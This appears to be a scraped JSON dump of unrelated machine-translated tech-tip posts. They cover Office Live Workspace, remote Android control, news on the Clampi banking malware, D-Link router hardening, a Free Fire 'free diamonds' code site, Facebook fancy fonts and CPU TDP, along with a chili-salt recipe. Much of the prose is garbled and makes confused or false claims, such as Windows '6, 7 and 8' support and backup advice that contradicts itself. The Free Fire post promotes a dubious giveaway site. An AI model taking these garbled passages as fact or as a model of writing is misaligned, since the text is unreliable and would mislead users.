Live Workspace Office Live Workspace integrated on SharePoint Services provides users or businesses with many SharePoint utilities without requiring the use of SharePoint servers. Once you have signed up and signed in to Office Live Workspace you can create Workspace, which is usually located on Microsoft servers, to store Word, Excel, and PowerPoint files directly from the application. Users can also upload files such as PDF and image files (for security purposes executable files will not be uploaded). Users can allow others to access certain documents and files, and can limit the level of viewing or editing the file. 3. No installation of workstation software required Unlike some other collaborative tools, you won't have to install any additional software on your computer, or ask other users to install software to share your documents. Everything is done through the web browser program, so you can access your Workspace from any computer with an Internet connection. You also do not have to use Internet Explorer or Windows to use your Live Workspace account. In addition to supporting Windows 6, 7 and 8 of Windows operating systems, Live Workspace also supports Firefox for Windows and Mac OS X versions, and support for Safari of Mac OS X. 4. How to create Workspace When logging into Live Workspace, you will see a window to the left of the My Workspace page. A Workspace named Documents has been created by default. To create a new Workspace, click the Worlspace link. You can create separate Workspaces for different projects or to share information for multiple audiences / groups. You can use the Template to create a new Workspace or create a manual. These Templates include: Class Workspace Essay Workspace Event Workspace Household Workspace Job Search Workspace 5. Upload files directly from Office applications If you have Microsoft Office software installed (Office XP version, Office 2003 or Office 2007), you can install Office Live Update to make your Office applications compatible with Workspace. You need to install some updates before installing Office Live Update. When you run the installation file, you will be notified if it is not fully updated and the installation program will guide you to update the remaining programs. Note, you should close Word, Excel, and PowerPoint while installing the update. After completing the update, you will see a new option in the Office menu of Office 2007 as Save To Office Live . In Office XP and Office 2003 applications, the Office Live option will be in a new toolbar. 6. Share documents It's easy to share a document or a file with others. Once you have uploaded the file or document to a Workspace, you will see a Share link that allows you to import (or select from the Windows Live directory) the email address of the people you are viewing and who you can edit. That material. An invitation will be sent to the addresses you choose to invite that person to share your documents. You can also allow multiple people to view the document without having to log in if you want, although this is not the default setting. 7. Collaboration tools \n In addition to sharing documents for others, document recipients can also add comments to this document, and those who access this document can read the comments. You can use the versioning feature to test different versions of the document. Activity link will display all operations related to this document, from initialization and display of the list of visitors, editors, and shared people, ., and real time current operation. You can also receive email notifications when someone updates one of your documents. 8. Security method You may be wondering about the security of documents or files uploaded to Live Workspace. It's best not to check the box to allow people who are not logged in to view the document without having to log in if you are interested in security. If you uncheck this box, only those with a Windows Live account can view the documents you share. You can set permissions to limit who can view or edit certain files. In addition, the files you upload have been protected by an anti-virus tool, which is integrated by Microsoft Forefront Security in SharePoint . 9. Use Office Live Workspace as a backup tool Most users and small businesses realize the importance of backing up important data, but usually these backups are saved to a second hard drive (located in a computer or USB drive), disk DVD records erase, memory card, etc. and stores in the same physical address as the computer. But this backup file can be used if there is a hardware error. The reason for storing these backup files to a second hard drive is to prevent your computer from being completely damaged. Office Live Workspace can be used to backup remote data if you have a 5GB storage area on a Microsoft server. Before uploading important files to Office Live Workspace, you should copy them to prevent any problems. 10. Some other related services If you need to use a service other than the free Live Workspace service, such as email service or the ability to create a website, you can register an account in Microsoft Office Small Business. You will then get a website, web server and design tools, a directory management system, and online business applications. You can also purchase additional applications, such as free email ads and increased storage. To use all services for free, you must register your own domain name and invite others to join (the first 5 are free).\nncG1vNJzZmismaXArq3KnmWcp51kfnF506Ggp5%2BjYsGwecqnprBlkZe8tsCMqJ2foZOaeq211Z5ksKeioMCxrcKe\n","link":"/post/10-things-to-know-about-office-live-workspace/","section":"post","tags":null,"title":"10 things to know about Office Live Workspace"},{"body":"On the market today there is no shortage of software, applications to control Android devices remotely.These tools allow users to send or receive messages through the browser, control other peripherals, or become mobile data storage devices. In the following article, we will introduce you one more tool in this, which is Remote Web Desktop - can help users easily control Android devices via their personal computer. .\nUnlike some popular applications that currently only work with Wi-Fi networks, Remote Web Desktop supports the standard of 3G connection protocol, does not require installation of additional support components, compatibility with multiple platforms. Different operating system and browser platforms.\nBegin: First, you need to download and install the free Remote Web Desktop application from the Android market. After opening the application, you press the Start Server button (if connected via Wifi), with some options available, you can enter the password to start access. After about 20 - 25 seconds, you will see the URL to connect to the browser on the Desktop.\nIf you are using 3G, select Bridge Mode and enter the email address. Then click the Start Server button and the process will be the same as above:\n  After successfully connecting to the phone, you can access and use different applications, change or set up some other applications:\n  You can see in the screenshot below, we can send and receive messages directly inside the browser, this feature is really useful if users often have to text, edit emails. Content is quite long:\n  If you install an additional WiFi Keyboard application from the Android market, the system will have the option of automatically integrating with Remote Web Desktop, and any information typed on the Desktop keyboard will be displayed on the Android device. Besides, File Explorer tool also helps users browse files on the system and SD memory card. On the other hand, when you right-click on the apk file, it will display the Install APK function to install to the phone:\n  With the device has been rooted, users can also take advantage of more Screen Capture function to take screen shots on the phone. However, not any Android phone has a front camera, but it has a rear camera, and users can turn this camera into a webcam to chat online via Skype or other applications:\n  Another support function of Remote Web Desktop is sharing Clipboard, when users copy data such as text, image, paragraph . then paste it into Shared Clipboard , immediately, this information will appear on phone. Besides, there are still some features that are in the finishing stage (Under Construction) such as Contacts, Notes and Mobile Settings.\nWith the aspects mentioned above, Remote Web Desktop has not been able to control every corner of the phone, but has met most of the needs of current users. You can choose between two free and paid versions. Of course, the paid program ($ 3.99) will integrate some additional features like no ads, support for HTTPS security protocols, unlimited data transfer over FTP. Good luck!\nncG1vNJzZmismaXArq3KnmWcp51ksLC606umpWWRo7Gzu8idZKmgn6Oybr7EpqatnZyueri106Fkq52dpMGmedaemWaclai4tbvP\n","link":"/post/control-android-phone-remotely-with-remote-web-desktop/","section":"post","tags":null,"title":"Control Android phone remotely with Remote Web Desktop"},{"body":"Security researchers have discovered a very malicious type of malicious code that has infected and stole user information on millions of PCs . 'Shoot' 4,500 websites Joe Stewart, director of SecureWorks 'malware research division, affirmed:' Clampi is the most professional line of malware stealing I've ever seen. Very few lines of malicious code are highly complex and widely spread like this malicious code . ' SecureWorks estimates that the number of PCs infected with Clampi ranges from 100,000 to over 1 million. This is the malicious code that attacks the Windows operating system. ' We do not have any effective measures to accurately count the number of infected PCs '. Clampi's goal is for users of 4,500 websites to use various personal financial information such as banking, securities brokerage, credit cards, insurance, job search, e-commerce . Stewart confirmed that 4,500 is a \"really shocking\" number. ' There are a lot of malicious code stealing personal financial information that exists on the Internet, but usually they target only about 20 or 30 websites. Clampi targets 4,500 websites '.  Source: Flickr Hackers infect Clampi to a user's PC by forcing them to open an email attachment or using multi-attack auto-attack tools that attack Windows operating system errors. Once successfully infected with the PC, Clampi will closely monitor the browsing process of the people. If the user accesses one of the 4,500 websites mentioned above, Clampi will immediately record account information, username, PIN code and other personal information. Clampi will transfer all the information it steals to a hacker server. These guys will then use that information to steal all the money in the user's account, use credit card information to buy goods or simply keep there when needed to use it. . …toxic \n Actually, if you only look at the above characteristics, Clampi is like most of the malicious code 'keylogger' or spyware (spyware), but not yet see the true malicious and dangerous nature of this malicious code. . Stewart expert said Clampi differs from other malicious lines in operating scale and security encryption. This malicious code uses a multi-layer encryption solution and various tricks to hide the source code, making it impossible for security researchers to investigate in detail how it works. ' Even the method of encapsulating the source code that the developers of Clampi use is very complicated, it is very difficult to reverse the reverse engineer for research ,' said Stewart. ' I can say that this is the most difficult to reverse code malicious code I have ever encountered '. Specifically, Mr. Stewart said Clampi developers have used source code tools that run on virtual machines. All information for packaging is taken from the microprocessor chip script on the virtual machine. Therefore, each time encapsulating the source code once, using different information. ' We cannot use traditional reverse engine tools to work with Clampi '. Clampi encodes the entire flow of data traveling back and forth between the infected PC and the hacker's server. This data stream is encoded in different layers. Specifically, the 448-bit encrypted network communication data stream. Not only that, every line of code that attacked Clampi was also encoded by independent methods. To avoid detection by malicious software, Clampi hides active modules in carefully encrypted Windows Registry keys. Operation scale \n Clampi's scale is also different from the malicious code specializing in stealing financial information. ' Clampi not only targets bank websites but also sites that users provide personal information that could be used to steal their money ,' Stewart said. Of the 4,500 websites mentioned above, there are military portals, online casinos, advertisements, news, credit collateral, etc. These websites are hosted on servers located in more than 70 countries. different. Not only is the foundation behind the support of Clampi's operations very large. It cannot be confirmed with certainty, but the signs that seem to be behind those who snatched the Clampi controller somewhere in Russia or Eastern Europe. ' It seems that there is only one group of hackers controlling Clampi ,' said Stewart. ' There are no any hackers forums about Clampi. Therefore, the information about this malicious code is not nearly as much. The group of hackers controlling Clampi also works very secretly . ' Stewart has been monitoring Clampi since 2007 until now. Previously this line of malicious code was very quiet and it was not until the beginning of this year that it began to boom strongly. Mr. Stewart said it was very difficult to find the last clue to summarize the gang of hackers who took control of the Clampi. One reason is simply that the server used by hackers to control Clampi is not under the control of any commercial service provider that hides itself among infected PCs. ' Clampi is now spreading widely on Microsoft networks using technology and operating systems in a way similar to the computer worm. Apparently Clampi is far more dangerous than Conficker '.\nncG1vNJzZmismaXArq3KnmWcp51ksabAxJyroqaXYrqiuMicoKito2KwsLDEZqquqJWneqWtzaCcq6elqA%3D%3D\n","link":"/post/detecting-malicious-code-super-dangerous/","section":"post","tags":null,"title":"Detecting malicious code 'super dangerous'"},{"body":"Chili salt roasted fruit dots on Tet holiday will help you \"consume\" a variety of favorite fruits, resist boredom when eating too much sweet, greasy or sticky.\nThe solution that women choose to fight against boredom during Tet holiday is a variety of sour and cool fruits such as grapefruit, toad, mango, guava and apple. It is also the result that you want to eat after the New Year party with lots of alcohol. It is better and safer to eat them with homemade chili salt.\nHow to make chili salt is also very simple and quick, please consult with us!\n  Explore more:\nHow to make 4 meat dishes with delicious sweet and sour garlic sauce on Tet holiday The secret of cooking red sticky rice with gac fruit for Tet is a lot of luck Raw materials for roasted chili salt 5 red chilies, big with your index finger, if the chili is just a small variety, you will need more 100g of refined salt 2 garlic cloves Pan or microwave Grinder or mortar Salt container after roasting   How to make chili salt yourself Wash, chop garlic and chill, should wear gloves to avoid chili burns, you should also wear glasses or a helmet with goggles to prevent chili shot up. Mix the mixture with salt and stir well.\n  Put the mixture in the microwave for 30 seconds for dry salt, then put in a fine blender.\n  If you do not have a microwave oven, you can use a pan, let the pan dry and heat slightly to mix it, stir it until it is dry. Without a blender, a mortar can be used to smooth.\nAfter roasting salt and smooth pounding, it can be used always or put in glass jar for storage and use gradually.\n  Salt roasted with chili although very \"cost\" of fruit but hot chili, so you just eat just right.\nncG1vNJzZmismaXArq3KnmWcp51ktbC5xKaYnZ1dqMKxsdFmm56kmZi2sMHSZp2rrZmpeqS0yKWgZqiVpb2mvtJmmKudXai2rrzLng%3D%3D\n","link":"/post/homemade-super-delicious-fruit-chili-peppers-are-simple/","section":"post","tags":null,"title":"Homemade super delicious fruit chili peppers are simple"},{"body":"In this article, TipsMake will guide you how to get Free Fire Diamonds for free with Hogatoga.\nFree Fire is the most popular mobile battle royale game in the world with hundreds of millions of players. Free Fire releases new content regularly through updates, bringing new characters, skins, pets, equipment . to the game Garena recently released OB27 version.\nWhat is Hogatoga? Hogatoga is a popular tech website where you can get tech news, tips and tricks on the game, apps include PUBG Mobile, Free Fire, FAU-G, . Regular redemption codes for you to receive Free Fire Diamonds. However, here is the redemption code on Google Play. You use them to get free KC Free Fire.\nHow to get Free Fire Diamonds for free from Hogatoga Step 1: Click HERE\nStep 2: Scroll to the bottom of the article, click the Get Your Code button.\nStep 3: You will be taken to another page to get the code, Wait 15 seconds and the code will appear right after that =\u0026gt; proceed to Copy the redemption code.\n- Many players think that this is a Free Fire Code, but in fact this is a redemption code on Google Play. That means you will not be able to redeem this code on the Free Fire Redeem website.\n  Step 4: Open your Google Play Store, go to Menu =\u0026gt; click Payment Method =\u0026gt; click Redeem Code.\nStep 5: Paste the redemption code you received =\u0026gt; click Redeem.\n- If you get the error \"The code you entered has already been redeemed on a different account\", it means that the system has given your code to you, they already have that code.\n  Hogatoga constantly updates new codes every day, so please go ahead. You can also follow Hogatoga's YouTube channel here as they will announce the new code on their video.\nOther methods of obtaining Free Fire Diamonds Most of the time, you can only purchase Free Fire Diamonds with real money. However, there are other ways to get this precious resource for free.\n1. Free Fire Event Free Fire organizes events very often to give players free rewards such as skins, pets, characters, . However, there are only a few events in Free Fire that really give people Diamond play:\n  2. Free Fire Advance Server - Free Fire test server The Free Fire Advance Server is a test server for major Free Fire updates. Only certain players can join this server and it is only open for a short time. Players in Advance Server can test new features and get a large amount of Diamonds if they spot a bug.\n  Hopefully, the above sharing about how to receive Free Fire Diamonds from Hogatoga will help you quickly get this precious resource. Wish you happy gaming Free Fire Diamond Free Fire ncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZp%2BVqXqnvsSeZJ%2Bhopp6pbXApqannKNixKrAx2afqJ%2BRqbyorQ%3D%3D\n","link":"/post/how-to-get-free-fire-diamonds-with-hogatoga/","section":"post","tags":null,"title":"How to get Free Fire Diamonds with Hogatoga"},{"body":"Comma-separated value (CSV) files are files that contain data from a table listed in plain text form, such as email contact details. Although CSV files can be opened with many programs, like text editors, the data they contain is best...\n Micah Soto Update 05 March 2020\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZqegmrtur9KvZJ%2BhnJrA\n","link":"/post/how-to-open-csv-files/","section":"post","tags":null,"title":"How to Open CSV Files"},{"body":"You are a lover of games on Android phones. You want to experience your favorite games on your PC. Invite you to follow the tutorial on playing Android games on Windows with Bluestacks below.\n  BlueStacks is one of the earliest PC emulation software on the market. Please follow the article on how to play Android games on Windows with BlueStacks below!\nStep 1: First, you download BlueStacks at the following address https://www.bluestacks.com/en/index.html\nAfter downloading, open the file and install it on your computer.\n  Click Install now to install.\n  Step 2: After the installation is complete, you click on the Google Play Store application to install games, Android applications for the emulation software.\n  Step 3: Click Sign In and log in to the Play Store with your Gmail account.\n  Step 4: After logging in to your Google Play account, we begin to search and download your favorite games on Android. In the article I will take Subway Surfers as an example.\n  After successful installation, you click Open to open.\n  Step 5: After opening the game, BlueStack requires us to set buttons with the keyboard to play the game such as Jump (jump), Slide (slide), Move left (move left), Move right (move right ), Hoverboard (using skis). After configuration is complete, you click on the X in the corner of the screen to turn off that panel.\n  Step 6: After completing the above steps, you play and enjoy the results.\n  Depending on the game, BlueStacks will offer different keyboard configurations (key mapping). However, some games will give us a bad experience when playing with emulators like racing games controlled by gyroscope. Wish you have moments of fun and rewarding entertainment with your beloved PC!\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZqiclsZurc2dqaihlGK0ornErGSopl2stq%2BwzrCqZq%2BZqbVursuunKyskZi4tA%3D%3D\n","link":"/post/how-to-play-android-games-on-windows-with-bluestacks/","section":"post","tags":null,"title":"How to play Android games on Windows with BlueStacks"},{"body":"Security is a very important factor for the computer experience. It can also be one of the most overlooked things. Internet-connected routers are a core piece of security and privacy. Taking a moment to configure the D-Link WiFi router can make a difference in protecting your home, computer and family.\nHere's how you set up and secure your D-Link WiFi router.\n1. Follow the setup and installation instructions If you have just purchased a new D-Link router, it may come with a quick start setup guide. The manual contains the information you need to set up your D-Link router and start securing it.\nSome new D-Link routers even come with scanable QR codes associated with the D-Link WiFi app. Just download the D-Link WiFi app on your Android or iOS smartphone, scan the QR code with the app, and complete the setup instructions in the app. You will be guided through each step, making sure each piece of hardware is correct.\nDownload D-Link Wi-Fi for Android | D-Link WiFi for iOS (free). After you finish setting up the D-Link router, you can access it through the web browser. Open a web browser (like Chrome, Firefox or Opera) and enter 192.168.0.1 in the address bar. This will open the D-Link router admin panel.\nIf you don't know what the D-Link router admin password is, you can find the default admin password somewhere in the packaging of the D-Link router. If not, you can refer to the article: D-Link router's default password list. If you've followed the quick start setup guide in the D-Link WiFi app, you'll be able to create a new admin password.\nSet strong admin password Your D-Link WiFi router requires admin password. The admin password protects the router from threats, both internal and external. Internal threats such as your children are trying to crack the D-Link router admin password to change WiFi settings.\nRemembering strong passwords should not make you too concerned. You can create a very strong password that you will not forget. Just make sure you don't write it down on a piece of paper and stick it on the table!\n2. Create strong D-Link WiFi passwords   The next security step is to protect WiFi connections. It is very likely that your D-Link router is dual band, maybe even three bands. That means you can use your D-Link router on two frequencies: 2.4GHz and 5.0GHz.\nUsually use the same password for each WiFi router band. Using the same password for each WiFi frequency band allows the hardware to switch between them depending on signal strength, speed, etc.\nLike the admin password, you are prompted to create a strong WiFi password during the D-Link router setup. If you want to change your Wi-Fi password later, enter the D-Link router address in the browser address bar and log in to your router.\nNow go to Settings\u0026gt; Wireless . In the Wireless section , you can see your network name (called SSID ) and existing WiFi password. Change the password to a strong password, then select Save in the upper right corner.\nAfter you update the D-Link router's WiFi password, each device will also require an update.\n3. Ensure the D-Link WiFi router uses WPA2 While adjusting the D-Link WiFi password, you should also choose your WiFi security mode. At the moment, WPA2 is the most popular WiFi security mode. WPA3 replacement, has not yet appeared in the main consumer router. For now, WPA2 is still the safest option.\nIn Wireless settings , select Advanced Settings. Next to Security Mode, choose WPA2-Personal from the dropdown box. If the option exists, make sure to use AES encryption, instead of TKIP.\nWhatever you do, don't use WEP, even if it is an option. Some modern routers are eliminating WiFi WEP encryption, because it is not secure and easy to crack.\nChange network SSID Another thing to change while you adjust your WiFi network security is WiFi SSID, also known as WiFi network name. The SSID is what appears when a smartphone or laptop scans the local area for WiFi networks.\nYour router uses the default SSID. This will reveal the type of router you use, in this case D-Link, and even the model. If someone knows what type of router you use, they will be easier to hack (worse if you don't change the default D-Link router admin password).\nShould you hide your SSID? Some D-Link routers allow you to hide your SSID. A hidden SSID is not broadcast to surrounding areas. Theoretically, a hidden WiFi network is more secure because few people know it. If someone wants to attack your router, they will find a way to know the SSID.\nEven if the SSID is hidden, it still transmits WiFi signals. But that makes it harder for friends and family to connect to WiFi networks.\n4. Update the D-Link router firmware   D-Link routers require updates now and also later. Like your laptop or smartphone, your router also receives firmware updates to fix bugs and boost performance.\nWhen you first plug in your D-Link router, it checks for any pending D-Link firmware updates. If not, you can manually check for firmware updates or even manually download and install the latest firmware.\nOpen the D-Link router administration page in the browser, then go to Management\u0026gt; Upgrade . In Firmware, select Check for New Firmware . If a firmware update is available, install it.\n5. Disable UPnP and automatic USB file sharing   Another security step is to turn off Universal Plug and Play (UPnP) for the D-Link router. Depending on the D-Link router model, you may have access to a number of different UPnP file sharing options, including UPnP Media Server, Windows File Sharing via SAMBA and FTP server.\nBecause UPnP is potentially dangerous, you can turn off these options until you need them.\nIn the D-Link router admin page, go to Settings\u0026gt; USB Sharing and turn each option to Disabled.\n6. Use guest WiFi network   One option to keep your personal WiFi network free from interference is to create guest WiFi networks. Guest WiFi network runs with regular WiFi but does not interfere with existing devices.\nGo to Settings\u0026gt; Wireless\u0026gt; Guest Zone . From here, you can control the guest WiFi SSID, password and, depending on your D-Link router model, create a guest schedule.\n7. Use the D-Link WiFi application to control router settings D-Link WiFi application is a central feature of D-Link routers. You can control all router settings from the application, including all settings and changes mentioned previously in this article.\nThis application is very easy to use. The options are clear and guide you through the various features of the D-Link router.\nYou can use the D-Link WiFi app to control everything on your network, change schedules, stop unwanted connections and more.\nD-Link routers are easy to set up. There are many security options to help keep the D-Link router safe. Follow the steps in this article and your D-Link router will keep your home network and devices almost completely secure.\nRouter security is an important issue. WiFi connection speed, too. With that in mind, take a look at these tips to boost your WiFi speed.\nHope you are succesful.\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZquVmMKzsYytn55llKG2r7eMsKCrnZyawLR50aisrZ2i\n","link":"/post/how-to-secure-the-d-link-wireless-router/","section":"post","tags":null,"title":"How to secure the D-Link wireless router"},{"body":"Facebook today has become an indispensable spiritual food, becoming a \"gut\" social network of many people. Users can freely make friends and chat everywhere. Or play a game on Facebook like trying to play an intellectual chess game, throwing a ball to score or throwing a ball into a basket on Facebook Messenger. In particular, the feature allows users to play videos directly on the Facebok or live stream Facebook on PC. Because of these outstanding features, Facebok became the king of social networks.\nIn addition, new features or tips on Facebook will help your profile more unique. We can write Facebook status with funny stickers, or write Facebook status lines in a unique, fancy font. Instead of writing status in regular fonts, why don't we try changing to italic, underlined, or even upside down typography? Along Network Administrator learn how to write unique Facebook status, fancy in the tutorial below offline.\nUnique Facebook status and comment styles 1. Write Facebook status with a hard-to-read font 2. Write bold letters, italics on status, comment Facebook 3. How to post a Facebook status in a strange way with Yaytext: 1. Write Facebook status with a hard-to-read font Step 1:\nFirst of all, you need to access the writing support tool on Symbol and Emotion Facebook status according to the link below. If you are familiar, that's right, this is the website that contains all emotions - hidden icons on Facebook.\nWrite a unique Facebook status The website interface will look like this:\n  In the introduction of Stylish Fonts for Facebook , the website will list nearly 20 typefaces which are examples for each type such as Special, Boxed, Bubble, Blurry, .\nStep 2:\nAlso in that main interface, in Your text here , enter the status line you want to share or comment lines you want to change the font. Then click Convert .\n  Step 3:\nAs soon as you click Convert, your status line will be converted to different typefaces such as:\nSpecial: ᐯ IếT ᔕTᗩT ᑌᔕ ᖴᗩᑕ EᗷOOK - ᑎ ᑎ ᗰ ᗰ G Cross out: ̶v̶êt̶t ̶s̶t̶a̶t̶u̶s ̶f̶a̶c̶e̶b̶o̶o̶k - ̶feature ịmị̶̶̶̶̶̶g Text in bubbles: ⓥⓘếⓣ ⓢⓣⓐⓣⓤⓢ ⓕⓐⓒⓔⓑⓞⓞⓚ - ⓣⓡⓝ ⓝⓖⓝⓖ Reverse writing: ƃnàɯ ịɹʇ buồnb - ʞoobǝɔɐɟ snʇɐʇs ʇếıʌ Writing in currency style: Vłế ₮ ₴ ₮ ₳ ₮ Ʉ ₴ ₣ ₳ ₵ Ɇ ฿ ØØ ₭ - Q ₦ ₮ Ɽị ₥ sir ₦ ₲ .   Please select a font that you want to post to Facebook, click the Copy button right next to the font. Or black out the font and press Copy . For example, I choose Antrophobia to post to Facebook.\n  Step 4:\nFinally, just paste that status into the status box or comment. You see, your status line stands out more than everyone else.\n  2. Write bold letters, italics on status, comment Facebook Slothsoft website launched Unicode Text Convert tool with many fancy and unique fonts.\nFirst of all, you follow the link below to use the Unicode Text Convert tool.\nhttp://slothsoft.net/UnicodeMapper/ At the main interface, you will see a list of 20 font styles for us to use, such as bold writing, italic letters, underlined words, bubble typography, .\n  To try before the Facebook status scripts, in the Input your text here . box enter the emotional status line you want to post to Facebook.\n  Immediately, the text that you write in the font will usually be converted to 20 new font types below.\n  We choose a typeface to post on Facebook's emotional state. For example, I choose the full width font, then click Copy and paste it on Facebook .\n  You see, status you will stand out on News feed when owning status lines with different, unique typefaces.\n  3. How to post a Facebook status in a strange way with Yaytext: Just like the two tools of writing Facebook Symbols \u0026amp; Emoticons and Slothsoft above, Yaytext also provides users with a variety of different typefaces so you can choose and post on Facebook.\nVisit the homepage following the link below:\nhttps://yaytext.com/ The main interface will also list nearly 25 characters such as Black bubble text, Bold / Italic, Blod fraktur, Smiley above, .\n  In the Your Text box at the top, you read the status message that you want to post to Facebook.\n  Where you enter the text, the font below will also display the text to it.\n  When you have selected a font like that to post on Facebook, click the copy button to paste it on Facebook status line. For example, I chose Lightning above.\n  In addition, Yaytext is more unique than the above two tools that allow you to put this emotion straight into Twitter , not only with Facebook.\nClick on the tweet to post status to Twitter.\n  Soon, we will be taken to the main page of Twitter with a stream of emotions copied from Yaytext. Here, you can edit the status as you like. Then press Log in and Tweet to login and post status. If you have accessed the previous Twitter account, you can Tweet directly.\n  It's also more fancy than the usual fonts we wrote earlier.\n  With 3 tools to create letters of Symbols \u0026amp; Emoticons, Slothsoft and Yaytext that we introduced above, readers can freely choose the type of font to post on Facebook or Twitter, creating highlights on their personal page. Try combining 2, or 3 more fonts in the same status line.\nRefer to the following articles:\n2 steps to make video calls on Facebook How to recover deleted messages on Facebook Instructions on how to change a new Facebook ID I wish you all success!\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZq%2BinsGmedSnoKqtlWKyp7LEnKusZZKkuaV5yK2YpaGTYsKvsMSro6KmlZl6p63Cnpmop5tiwLWt066qZp6SYrCwucyepa2r\n","link":"/post/how-to-write-unique-effects-bold-italic-underlined-facebook-status-fb-comments/","section":"post","tags":null,"title":"How to write unique effects, bold, italic, underlined Facebook status, FB comments"},{"body":"Deep convolutional network (Deep Convolutional Neural Networks CNN ) has become a popular tool for creating and restoring images. Some new algorithms launched at the end of 2017 also achieved remarkable success in recovering corrupted images or low quality images.\nOne of the very impressive algorithms is Deep Image Prior developed by Russian scientists.\nDeep Image stands out by different ways of working compared to other algorithms. Instead of using a large amount of data to determine how best to work with images, Deep Image Prior uses the same data from the corrupted image to restore the original image.\n  Deep Image Prior suppresses image noise\nThe researchers say their algorithm can eliminate image noise, remove text from images, recreate deleted image areas, remove jagged edges, and even improve low-resolution images.\n  Improve the quality for low resolution images\nThe ability to reproduce deleted photo areas is impressive. This is also the first time scientists have recreated the Content Aware Fill / Brush feature that Adobe has put into Photoshop many years ago - the technology is kept secret by them and no image processing software company can create .\n  Deep Image Prior restores deleted areas\n  Delete text on photos\nDeep Image Prior is just one of CNN's research projects in the field of image processing this year. Another name is PixelNN.\n  PixelNN's ability to reproduce images\nDeveloped by three researchers from Carnegie Mellon University, PixelNN can reproduce blurry, jagged images. The algorithm uses a lot of data but is more accurate than other projects, creating images from broken images.\nAnother algorithm, EnhanceNet-PAT, focuses on improving bad image quality, creating higher resolution versions. Deep Image Prior also does this but the results are not comparable to the EnhanceNet-PAT. But like PixelNN, EnhanceNet-PAT needs a lot of sample images.\n  The practical applications of EnhanceNet-PAT will be very useful\nThe researchers hope that the EnhanceNet-PAT will be included in the software to improve the quality of old movies up to 4K, restore old family photos or enhance the resolution for CCTV images for investigation. The practical applications of this algorithm are very promising.\nSee more:\n3 tips to improve low-resolution image quality How to convert PNG images to JPG does not degrade quality Does the JPEG file size accurately reflect the image quality? ncG1vNJzZmismaXArq3KnmWcp51ktq6txp5kqaqfmLK0v8innmaZnJy8s7XToaSsZZOWu26yyLFknKeip8KxwMSdZKKlkZyytHnIpqerp6aaeq271maorpmcnsG6ecimmKCdow%3D%3D\n","link":"/post/image-processing-algorithms-can-fix-corrupted-images-improve-low-quality-images/","section":"post","tags":null,"title":"Image processing algorithms can fix corrupted images, improve low quality images"},{"body":"If your mouse is damaged but has not been repaired or replaced, you can temporarily use a keyboard to replace the mouse as instructed below.\nInstructions for setting the number keys on the right hand side of the keyboard to use instead of the mouse:\nClick Start -\u0026gt; Control Panel .\n  The dialog box appears, click on the Ease of Access Center section .\n  Make sure you click Make the mouse easier to use .\n  Turn on the mode using the mouse by locking by checking the Turn on Mouse Key and then clicking OK to complete the setup.\n  Note after creating the area to the right of the keyboard to undertake the task of the mouse. We have the following mouse control diagram:\n  Good luck!\nncG1vNJzZmismaXArq3KnmWcp51ktq%2B%2F06usnKyZpLu0ecWoqWato567qHnAZqmeqJyWsKa5xKerZqOVrq%2BwrdGdZJ%2BnomKubq7RqKKepl2ivLa%2FxA%3D%3D\n","link":"/post/instructions-for-using-a-replacement-keyboard-for-a-broken-mouse/","section":"post","tags":null,"title":"Instructions for using a replacement keyboard for a broken mouse"},{"body":"Writing uppercase letters on a computer is extremely simple, just hold down the SHIFT key + the capital letter or simply turn on the Caplock, what about the phone? Maybe many new users of iphone, ipad are not used to using Caplock key. The article below, Network Administrator will show you how to use Caplock on Iphone and iPad.\nFor iPhones or iPads, if you want to capitalize one or more words, you only need to press the Shift key simultaneously. Note on the phone screen, Shift key is the arrow in bold.\n  When you don't want to capitalize again, just press the Shift key once, the Cap lock will turn off automatically.\nLock cap is default available on the phone. If you want to turn off the Lock lock for any reason, just go to Settings at the home screen.\n  The bottom left of the Settings section in the phone screen appears the words \"General\" , lightly pressing on \"General\" .\n  To the right of the screen, below the \"General\" text , scroll down and pressing lightly on \"Keyboard\" will bring up many options.\n  Under \"Keyboard\" , continue to scroll down, you will see the words 'Enable Cap Lock', then slide slightly to the right hand side (white circle).\n  Then the lock lock has been turned off.\nGood luck!\nncG1vNJzZmismaXArq3KnmWcp51ktq%2B%2F06usnKyZpLu0ecWoqWato567qHnCmqdmpJ%2BYuG67zWagqaCfo7Jurc2dZKKokZk%3D\n","link":"/post/instructions-for-using-cap-lock-on-iphone-and-ipad/","section":"post","tags":null,"title":"Instructions for using Cap lock on Iphone and iPad"},{"body":"In the process of upgrading or learning about the hardware components made up of a computer, there must have been many times when you saw the term TDP. So what exactly is TDP and why do you need to care about this value? All will be answered in this article. For now, let's come to the problem soon.\nWhat is TDP?   \nTDP (thermal design power) is the maximum heat output of a processor chip, present on every CPU or GPU, and is used to measure the amount of heat the processor will emit when loading tasks on the system. system. For example, if the CPU you are using has a TDP of 90W, it indicates that this CPU is expected to generate a maximum thermal value of about 90W when operating. The value of TDP can be confusing for those who do not have much expertise when purchasing new hardware devices. However, you simply need to understand that the higher the number of TDPs, the more power the CPU will consume and the more efficient it needs to be. Therefore, this is an especially important indicator for laptops. For example, the Core i9-8950HK chip with Intel's TDP of 45W is definitely not usable in a light-weight ultrabook, which is only designed for microprocessors with a TDP of about 15W.\nInstructions for using CPU-Z, read the CPU-Z parameters provided Go back to the original example of a CPU with a TDP of 90W. That doesn't mean that the processor will need 90W of power from the supply, although the actual thermal design capacity is also measured in watts. Instead of raising the required component values ​​as raw input standards, manufacturers use TDP as a nominal value for the related cooling systems. Also, in normal use, it is rarely possible to reach the maximum TDP value, unless you use extremely intensive applications and processes.\nIn short, the higher the TDP, the more power the processor will consume, while also requiring more cooling, possibly through passive technologies, traditional fan-cooled systems. or liquid heat sink.\nTDP and power consumption   \nTDP is related to the amount of power consumed, but in fact, this parameter is not quite equivalent or can indicate exactly how much power will be consumed by the CPU, but of course you can still use the TDP value as an estimate for the amount of power consumed. For example, Intel's TDP for its chips is a reference power consumption for OEM engineers such as Asus, Dell . to design a suitable thermal solution for the product. In general, low-TDP CPUs consume less power.\nTherefore, although the value of TDP may not accurately reflect the level of power consumed by the CPU in a system, it provides a solid basis for designing a suitable cooling system, as well. As a rough idea of ​​how much power (PSU) is needed, it is reasonable. For safety, many experts often recommend using PSUs up to 500W for PC systems with a single GPU.\n5 websites compare the speed and CPU performance from the most accurate Benchmark point\nsummary   \nBasically, you simply need to understand that TDP is a parameter that helps determine the performance and energy use level of a certain component. Take the example of a computer 